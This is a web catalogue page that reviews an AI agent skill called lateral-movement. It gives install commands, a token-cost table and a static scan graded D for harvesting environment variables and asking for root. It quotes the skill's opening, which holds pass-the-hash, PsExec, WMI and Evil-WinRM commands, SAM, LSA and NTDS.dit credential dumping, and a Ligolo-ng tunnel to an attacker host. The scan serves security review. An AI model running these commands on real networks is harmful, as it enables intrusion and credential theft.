Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill lateral-movementgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/lateral-movement)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/lateral-movement"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/lateral-movement/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/lateral-movement"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/lateral-movement.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.04668 |
| Opus 5 | $0.00023 | $0.02334 |
| Sonnet 5 | $0.00009 | $0.00934 |
| Haiku 4.5 | $0.00005 | $0.00467 |
Grade D, and why
lateral-movement scanned grade D with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
- **New host accessed** → Dump credentials (SAM, LSASS, cached creds) → Credential Access skill Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo ip tuntap add user $(whoami) mode tun ligolo How it starts
The opening of the file, as written. The whole thing — 461 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Lateral Movement Knowledge Base
Lateral movement uses captured credentials and network access to move between hosts in a compromised environment. Each technique has a different noise profile, artifact footprint, and prerequisite. Choose based on available credentials, target services, and OPSEC requirements.
Quick Reference
# Pass-the-Hash — command exec via SMB (CrackMapExec/NetExec)
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'
# WMI execution — semi-interactive shell
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
# PsExec — SYSTEM shell via service creation
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
# Evil-WinRM — PowerShell remoting with hash
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>'
# SMB file operations
smbclient.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>
# Ligolo-ng tunnel setup
./proxy -selfcert -laddr 0.0.0.0:11601 # Attacker
./agent -connect <ATTACKER_IP>:11601 -ignore-cert # Pivot host
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1550.002 | Pass the Hash | CrackMapExec/NetExec, Impacket, Mimikatz |
| T1550.003 | Pass the Ticket | Rubeus, Mimikatz |
| T1021.002 | SMB/Windows Admin Shares | psexec.py, smbexec.py, smbclient.py |
| T1021.006 | Windows Remote Management | Evil-WinRM |
| T1021.001 | Remote Desktop Protocol | SharpRDP, xfreerdp |
| T1572 | Protocol Tunneling | Ligolo-ng, Chisel |
1. Pass-the-Hash (PtH)
CrackMapExec / NetExec
# Execute command via SMB using NTLM hash
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'
# Execute PowerShell command
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -X 'Get-Process'
# Check local admin on multiple hosts (spray hash)
nxc smb <SUBNET>/24 -u '<USER>' -H '<NTLM_HASH>' | tee pth_spray_<TARGET>.log
# Dump SAM on remote host after PtH
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --sam
# Dump LSA secrets remotely
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --lsa
# Extract NTDS.dit from DC
nxc smb <DC_IP> -u '<USER>' -H '<NTLM_HASH>' --ntds
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 461 lines · 45 tokens per session scan D 7d6421aaf930
lateral-movement is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 45 tokens to every session and 4,668 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it D with 2 findings (harvests environment variables, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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